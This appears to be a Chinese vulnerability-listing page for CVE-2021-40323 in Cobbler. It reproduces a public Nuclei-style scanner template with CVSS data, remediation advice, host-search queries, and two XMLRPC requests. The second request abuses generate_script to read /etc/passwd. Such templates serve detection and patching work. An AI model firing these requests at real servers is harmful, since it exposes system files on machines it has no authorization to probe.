CVE-2021-40323: Cobbler <3.3.0 - Remote Code Execution

日期: 2025-08-01 | 影响软件: Cobbler | POC: 已公开

漏洞描述

Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.

PoC代码[已公开]

id: CVE-2021-40323

info:
  name: Cobbler <3.3.0 - Remote Code Execution
  author: c-sh0
  severity: critical
  description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
  remediation: |
    Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/cobbler/cobbler/releases/tag/v3.3.0
    - https://github.com/cobbler/cobbler/issues/2795
    - https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40323
    - https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40323
    cwe-id: CWE-94
    epss-score: 0.93927
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cobbler_project
    product: cobbler
    shodan-query: http.title:"cobbler web interface"
    fofa-query: title="cobbler web interface"
    google-query: intitle:"cobbler web interface"
  tags: cve,cve2021,cobbler,rce,cobbler_project

http:
  - raw:
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>find_profile</methodName>
          <params>
            <param>
              <value>
                <struct>
                  <member>
                    <name>name</name>
                    <value>
                      <string>*</string>
                    </value>
                  </member>
                </struct>
              </value>
            </param>
          </params>
        </methodCall>
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>generate_script</methodName>
          <params>
            <param>
              <value>
                <string>{{profile}}</string>
              </value>
            </param>
            <param>
              <value>
                <string></string>
              </value>
            </param>
            <param>
              <value>
                <string>/etc/passwd</string>
              </value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'text/xml'

      - type: regex
        regex:
          - "root:.*:0"
          - "bin:.*:1"
          - "nobody:.*:99"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: profile
        group: 1
        regex:
          - '<value><string>(.*?)</string></value>'
        internal: true
# digest: 4a0a00473045022100ad1d212e6944b617ce6e65e2072ea9d9f749b86c3e2f56364a04a9d87f1567dd0220535574a4ac7085fedd4003b4a98f900face4354239d84183dfd8550fb0eab969:922c64590222798bb761d5b6d8e72950

相关漏洞推荐